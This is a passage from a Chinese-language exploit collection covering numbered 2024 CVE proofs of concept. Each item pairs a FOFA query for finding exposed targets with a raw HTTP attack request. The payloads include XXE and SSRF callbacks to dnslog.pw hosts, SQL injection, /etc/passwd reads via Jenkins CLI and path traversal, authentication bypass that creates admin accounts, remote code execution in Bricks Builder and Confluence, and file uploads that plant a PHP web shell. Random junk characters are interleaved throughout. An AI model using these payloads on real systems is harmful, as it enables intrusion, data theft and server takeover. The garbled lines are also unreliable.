2 z; h& ?- B: s1 e' b7 p& L' lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
6 b, W* M/ L- L3 eAccept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
9 a% [( _8 V0 g: P: JCVE-2024-22024
+ s6 E: \( `7 }8 N/ a" @FOFA：body="welcome.cgi?p=logo"
9 C8 C+ q0 c3 r& p# XPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
2 K1 j9 ~' r0 X$ DConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

" Q+ o! _4 c* f6 {( NSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
" m' O, _6 S( h' g) t<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

. V6 C: G% v# @' Q, _1 c
5 s% J* k* N) s/ d" j104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
, c. @$ ?, J( `3 R. ]; EFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
( J+ W6 d; v0 }! t' t/ BContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
2 @( Q' h- l2 _* Z5 J  PUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
5 Z: F& Z: p$ z/ c. ]" p" wContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
. L/ h  o9 N* V3 v- U1 LAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
2 l/ L+ w6 c' N2 tConnection:close
4 Z: r( J2 s) U6 V
; o& F6 j7 F5 ~% ?( f{
"topicurl":"getSysStatusCfg",
! ]# t9 I$ w) ?  n7 F: _. O"token":""
}

" h! b2 j* q+ x/ Q! B3 a2 l105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

, K* B5 ~- I5 U0 {106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
+ g* G+ Y5 p" t4 h% S5 \  |. T4 aGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' V# H- F' W4 d7 _Connection: close

& G* c7 M  F/ A/ N
% M$ v( H  J( W2 f5 m. T' {107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
" v3 n  T! V: WGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
9 Y4 P, H- O. |: AHost: your-ip
& k* E. ?0 f- ^' k& |/ w1 q$ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close


108. D-Tale 3.9.0 SSRF
7 e2 O) V5 J/ \CVE-2024-21642
$ X. g/ }, u4 ?6 ^, S7 zFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
3 Y# n6 p; h) _" k3 zAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 v- I0 v2 j' o7 bAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
& X+ Q% ~9 q0 [4 b% N! L3 qConnection: close
& H0 _# B" x$ O* T8 x! c
, T% F  i; t% \2 t. j/ A
109. Jenkins CLI 任意文件读取
! ?4 B4 K. n" ], y, YCVE-2024-23897
6 E% r9 S; n0 Y+ ^5 wFOFA：header="X-Jenkins"
  C/ b# G7 w; \# D5 q9 VPOST /cli?remoting=false HTTP/1.1
# K) F1 ]  j' Q+ @4 w8 }/ A6 t" v! l0 b1 QHost:
# l5 Y) q7 K& [% U8 aContent-type: application/octet-stream
8 R6 {8 q( H0 z5 Q, Z$ HSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
) G4 O) H  i7 U% N: a5 ~Side: upload
% q6 R. G7 P& E1 i6 MConnection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
8 F$ D: ^4 x0 N: D2 q
* b+ \) `" }4 r+ {& l
POST /cli?remoting=false HTTP/1.1
# a, u, ^% i* A: h6 ~, P% `Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
2 g9 S+ @1 G" b- dContent-Type: application/x-www-form-urlencoded
Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
- P/ {& H2 V+ ~; o[COMMAND]
% Y, o8 k8 p8 T- BLists all the available commands or a detailed description of single command.
0 \* m) Y$ G2 r" v% T% A( E  q" g( c COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
& }5 R; B$ R' o, O
" ?+ D/ x  p% \1 {, ~- J
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
$ w; @$ G$ a& g0 U1 w6 d  nGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
2 C- ], X& a0 q% [+ XAccept-Language: en
' w+ U" I* l$ m# u( o5 BAccept-Encoding: gzip

7 K. t) ?3 l$ _4 u3 K' N
111. WordPress Plugin HTML5 Video Player SQL注入
& o) ~6 v/ g/ S: gCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
! Y2 v" \# R: T/ X. h' ZGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
' ]  q9 q- H4 w$ a. THost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
2 h2 e' J; [: l/ |& mConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


" Q- A! f7 o* ?( R# u112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
% W6 n7 l2 ^" GFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

2 u9 S6 ~" u2 z  o) k0 t{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
- R- Q+ d7 ~$ ^

113. WordPress Automatic 插件任意文件下载和SSRF
6 _& H; }2 R1 ?CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
4 o9 F  V2 Y2 C7 C+ b1 W: e1 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
5 J. s4 @8 H" `3 c6 x* @/ V+ Y$ PConnection: close
9 v) Q7 P4 i! z: {: i' AAccept: */*
( a6 Z& y( a8 ]4 g+ V2 J" V+ vAccept-Language: en
' g1 C/ O. z: a, UAccept-Encoding: gzip

8 V  g; w! _" }* b5 S
9 N' {8 Y' H. p. {5 A( [114. WordPress MasterStudy LMS插件 SQL注入
4 n1 T+ E/ {0 T  e; m% nFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
; n' R7 _9 Q4 j; \# z* ^GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
& L, r' ]1 ]" S  wUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
% Z* i$ P3 V, k/ t( }8 |Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
% c& W6 g7 C& c. |) t, P2 eConnection: close
) _5 z0 j. j2 G8 ^( F
; |' M2 ^* f- l0 N# u9 a6 z
115. WordPress Bricks Builder <= 1.9.6 RCE
) ?* v; j: P4 b+ cCVE-2024-25600
; o5 k4 z. s7 C2 W: y& nFOFA: body="/wp-content/themes/bricks/"
) {8 K. f: p* a& D9 G第一步，获取网站的nonce值
GET / HTTP/1.1
, H$ M+ r; _* T/ g. D) m" \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
3 \3 R' }1 j* k) Q: V$ J/ w1 ^' fConnection: close
" |! t- r+ v9 W; Q4 TAccept-Encoding: gzip
% X6 A: R3 M9 Q0 L- A# l
  d2 o% ]! V7 w+ W/ v
# b6 d2 T2 ?8 w2 s* P第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
2 j' e# R. U, _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
; N: h+ I7 j  U( O* PConnection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
/ X8 e; i2 t$ R/ R  f/ g# I' W
5 m" U4 r1 U1 P/ Z7 B{
"postId": "1",
  "nonce": "第一步获得的值",
0 Q$ `2 d. u- N" F' h) _  "element": {
    "name": "container",
. X- f, a: R: Q2 M$ Y1 p! E    "settings": {
      "hasLoop": "true",
      "query": {
3 [3 M7 ~) Q, L. _7 {  D        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
; c' p. F8 ~# W: U    }
  }
- X+ m6 K; J% i7 Y# c8 x6 j2 T6 {}
6 \+ s* q) e% |( U3 u% L
" m+ E4 V# U: T7 X+ V, @6 o: F
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
# ?: ]7 D* p) p- t, EUser-Agent: Mozilla/5.0

2 n* Q- P) P6 a- K----------767099171
$ ~+ [' e: T  H/ V7 }) G' z% R8 RContent-Disposition: form-data; name="action"
" v3 d0 t7 g7 ~; s7 F3 S. ?1 zconfiguration_saveconfiguration
( `0 E# R4 u6 x/ `" @. @/ J6 Y6 [----------767099171
$ K; Q; S# l) k5 x% _' TContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--

7 e1 O( @% y0 q  v
117. WordPress LayerSlider插件SQL注入
8 h. T5 X; \. q6 E' }* P5 rversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
: ^1 m% w; T% i# i  U' tGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
& |" r3 g$ p0 w* q) {, ^' ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% h; Q9 m" ?& r  r4 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 }3 X  N9 @  N8 {4 z+ V9 s* U: oAccept-Encoding: gzip, deflate, br
% _/ u3 M+ W: Y9 Y9 VConnection: close
Upgrade-Insecure-Requests: 1

' a1 U9 b3 \  f5 X; a" P
4 o. f) {/ V; t# I* p* x118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
- L5 \* b3 I( j) PCVE-2024-0939
FOFA：title="Smart管理平台"
. U3 G1 Y& w+ YPOST /Tool/uploadfile.php? HTTP/1.1
8 k  g  Q" b4 R6 ?* u* yHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
1 s/ g3 P* k+ I2 d' W9 F3 w+ QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 ?# F. {' s4 i* zAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
2 U2 O, t' q1 ]Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
; d+ i( l7 F% i/ w( ?% d2 [% gSec-Fetch-User: ?1
Te: trailers
! [0 K7 {. ]- P* S  ]% E$ _Connection: close

0 `- f) f" K  v6 W. W8 ?-----------------------------13979701222747646634037182887
# |  j7 @- y1 n5 X2 I/ X' m, ]Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
% Q8 q) e5 B! g6 G  X) t5 ~system($_POST["passwd"]);
?>
( q/ F' ^( @4 R5 L; ]3 p! G-----------------------------13979701222747646634037182887
" i# H/ p8 w. ?Content-Disposition: form-data; name="txt_path"
! |0 z3 b3 e0 f9 n
1 n+ E7 P: `" o+ z: }- W6 |/home/src.php
' @( T! r3 g1 i3 n8 f-----------------------------13979701222747646634037182887--
9 t- B6 t; W/ I2 E* {3 |( r: H

+ f' C5 b2 ]# c$ p' L访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
! h$ k! u" N! V" T1 D  h2 j0 |/ r% A先登录进入系统，默认账号密码为admin/admin
1 `9 p" t0 d( t6 RPOST /sysmanage/sysmanageajax.php HTTP/1.11
7 T( f- ^9 x2 Z" \& o- }Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
5 z- P+ l, n- N5 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
$ _7 S9 u5 F/ P0 s& s; N/ s  hAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 d6 \2 V7 O% I' C9 V- C- x  b' sAccept-Encoding: gzip, deflate
: Q( D, @+ j" O6 _) @+ |) CContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
* e0 ?/ D* o5 pOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
9 Z- T/ R" G% f( w4 PSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
' k( n# D6 |1 ^5 OX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
/ e9 Q; c8 n' Q9 y, b: p8 yX-Remote-Addr: 1.1.1.1
Te: trailers
# {2 U! |- U$ `! ?% P2 vConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
& g1 _$ O" M: U) Q" z) Z$ V
& I3 L. q, L, f; S' H9 X! a2 k
0 m" {" M' U9 p: @120. 北京百绰智能S40管理平台导入web.php任意文件上传
! d' n# T4 J, _4 ^; vCVE-2024-1253
  [# G8 ]# @7 W7 P3 i0 GFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
8 V/ ^  p2 N9 X5 O  \! S- mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& g- I* ]: Q1 {) P4 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 c: p$ ?, L; \6 GAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
  K& e$ h1 p+ n! wUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
/ \  H; v" h! w" y- ?! KSec-Fetch-User: ?1
, O: [0 D- S! o7 eTe: trailers
$ R2 p  ~8 E+ CConnection: close
9 J/ [$ q; M5 m* |; [. c
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
. x2 J/ ?1 p6 s6 T& @1 e' y9 JContent-Type: application/octet-stream
" {6 }" M0 ~. r+ G2 b% c0 g
, F: f+ h: E8 ^/ D' C0 N8 I& E<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
  e8 h0 ~  k$ k& Z$ rContent-Disposition: form-data; name="mode"

) V! B5 }, a# C( n) Cimport
. L  y8 }4 R) i9 H-----------------------------42328904123665875270630079328
5 ?2 J  ]' K5 E0 k$ {- e' L# G+ D
, W6 N; W! y2 g5 B% q- b
# H3 I' Z7 z  H6 A) p1 J文件路径/upload/2.php
( O3 `- D. u' ]4 Z. f
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
) q* d% U' @1 F( v4 [1 }5 fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- l( \3 {, [7 P+ PContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
6 j! \" B- m8 u7 V% QSec-Fetch-Dest: document
, u0 Y# I) R8 L% C& CSec-Fetch-Mode: navigate
: c$ f% I9 E& R: fSec-Fetch-Site: same-origin
- }% T5 W8 n" I8 i: R  PSec-Fetch-User: ?1
+ N+ s2 N: ]- K/ XTe: trailers
( F& f: S. f7 ]. U5 xConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
% p$ p5 C! e) `; A3 c' _/ l* @$ v- GContent-Type: application/octet-stream
2 B. t, i1 @- w1 Z8 j
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
  r1 b- T7 Z! C" i
4 ]& L2 w# f% x# s4 w$ c1
/ d+ K8 G+ {; f  q( B) t1 |-----------------------------42328904123665875270630079328
8 Z6 k5 [) |+ n+ DContent-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
$ t, q; H8 X6 l$ e% j; z1 SContent-Disposition: form-data; name="hidwel"

- u$ A. O2 j/ B% n6 `' ?) b4 _; Dset
& T6 y9 R. A, m- q-----------------------------42328904123665875270630079328

5 |  A8 }6 h; i
, {' z  l$ |1 x# A6 J0 nboot/web/upload/weblogo/1.php
0 ~( Y7 W4 U* W; C; R8 [
122. 北京百绰智能s200管理平台/importexport.php sql注入
2 f: f( K) }' G) m. Z% ~7 DCVE-2024-27718FOFA：title="Smart管理平台"
+ V9 G: v6 A  U! A( n3 H其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
  b" I2 x- b" X. d/ g8 nGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
' `7 s" _( B" l9 r& H6 F% m& J% nHost: x.x.x.x
0 v' p7 W: y% M, o* M5 BCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
* T% T1 B' U! e1 ~( }# gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 _" r2 T( R8 ^0 TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
+ j7 p( b) x" X) v3 L, k3 jSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
& P: G+ N1 R! V+ ASec-Fetch-Site: none
1 |, _' u/ X" z  i4 a! I; ySec-Fetch-User: ?1
Te: trailers
' ^: c2 n6 z1 D8 [& tConnection: close
, B' l, Z$ s' u8 R' N: P7 E3 R- D3 I: f+ g
' q1 H, [2 c) t$ ^3 g! W
$ S, P7 Z' J4 C, f7 h123. Atlassian Confluence 模板注入代码执行
: R" c& u: v9 ]  l; YFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
) h  N4 K: e3 c! |Host: localhost:8090
Accept-Encoding: gzip, deflate, br
: N7 V2 f" @+ XAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
1 w  A+ V! }$ F0 H' sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

- A0 @1 f! e. `label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
, n% r1 Z1 \9 F0 E' S; g2 }5 ~

% Q; I5 t2 o4 C124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
% t+ [5 r$ W! E$ I, ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
) w0 A% B. ^- |/ L% v# kAccept-Encoding: gzip, deflate, br
$ ^$ K& ]) U$ k$ t& R+ `. hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
/ B; D- C  Z( m% U9 n( Z9 C9 C# a
3 P' j! P. o0 w0 ]8 S- a2 OfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
0 z# [9 y7 y$ H' OFOFA：icon_hash="-82958153"
# L7 H: X: r; S+ n) R* ehttps://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
; z$ h, m; P- |" i2 |2 y+ tpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
( j- x8 O$ e) x
: z# u- o# d" o- \0 [- ~
% E9 p* T% r/ r- f6 E1 Q2 ^! ~6 r8 i/ {. X创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
% p4 G1 T- z) n. D0 |/ LFOFA：title=="ComfyUI"
' e7 z8 j$ X* R- `5 cGET /static/../../../../../etc/passwd HTTP/1.1
# W* d; l1 H. G& [( jHost: x.x.x.x
( T: ?. K* F1 j4 g  k* qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
  }$ q% b* u: Q2 W* p' |& D- pConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
* ~" e0 H" c1 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 X2 D% I1 M7 f! hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
6 ]. K! P$ E: Z* qSec-Purpose: prefetch;prerender

! N2 j# {) e1 C) E+ E! z: p------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
5 ?1 j  _  w1 A; k. W9 T------WebKitFormBoundaryJGgV5l5ta05yAIe0
5 \# |, G5 C6 v8 \- w( z# xContent-Disposition: form-data;name="Params"
Content-Type: text/plain
$ E1 C" d' o. B0 O2 r" y1 t0 {
